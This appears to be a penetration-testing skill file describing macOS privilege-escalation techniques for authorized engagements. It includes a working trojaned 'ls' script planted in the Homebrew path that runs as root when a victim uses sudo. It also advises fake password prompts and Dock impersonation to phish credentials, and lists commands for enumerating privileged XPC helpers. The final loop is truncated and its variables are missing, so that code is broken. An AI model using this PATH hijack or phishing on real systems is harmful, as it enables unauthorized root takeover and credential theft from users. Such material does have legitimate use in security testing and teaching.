performing-macos-privilege-escalation

name	performing-macos-privilege-escalation
description	Escalating from a low-privileged user (or unprivileged process) to root on macOS during authorized engagements by abusing the user-preserved sudo PATH, Dock/app masquerading, sudo-password phishing, AuthorizationExecuteWithPrivileges helpers, vulnerable privileged XPC/LaunchDaemon helpers, writable LaunchDaemon plists, PackageKit/zsh logic bombs, kernel credential races, and Time Machine snapshot mounts.
domain	cybersecurity
subdomain	macos-security
tags	["penetration-testing","macos","privilege-escalation"]
version	1.0
author	xalgorix
license	Apache-2.0

Performing macOS Privilege Escalation

When to Use

• During authorized macOS assessments after gaining initial code execution as a standard user
• When a privileged helper, LaunchDaemon, or third-party updater is present and may expose a root-reachable interface
• When you can social-engineer a desktop user (Dock impersonation, fake password prompts) for a sudo-capable credential
• When evaluating SIP-bypass chains for persistence in protected system locations
• Note that most Linux/Unix privesc tricks (sudo misconfig, writable PATH binaries) also apply to macOS

Critical: Techniques Most Often Missed

1. sudo keeps the user PATH (Homebrew binary hijack)

Unlike Linux, macOS preserves the user's PATH across sudo. If /opt/homebrew/bin (Homebrew, almost always present on developer Macs) precedes system paths, you can plant a trojaned ls, git, etc. and wait for the victim to run sudo <binary>.

cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
[ "$(id -u)" -eq 0 ] && whoami > /tmp/privesc
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
# wait for: sudo ls

How to CONFIRM: run echo $PATH and verify a user-writable dir precedes /usr/bin; check sudo env | grep PATH retains it; confirm the planted binary fires as root (/tmp/privesc contains root).

2. Vulnerable privileged XPC / LaunchDaemon helpers

The dominant third-party privesc class: a root LaunchDaemon exposes a Mach/XPC service from /Library/PrivilegedHelperTools that fails to validate the client, validates too late (PID race), or runs a user-controlled path/script.

ls -l /Library/PrivilegedHelperTools /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist 2>/dev/null | rg 'MachServices|Program|ProgramArguments|Label'
for f in /Library/PrivilegedHelperTools/*; 
   
  codesign -dvv --entitlements :-  2>&1 | rg 
  strings  | rg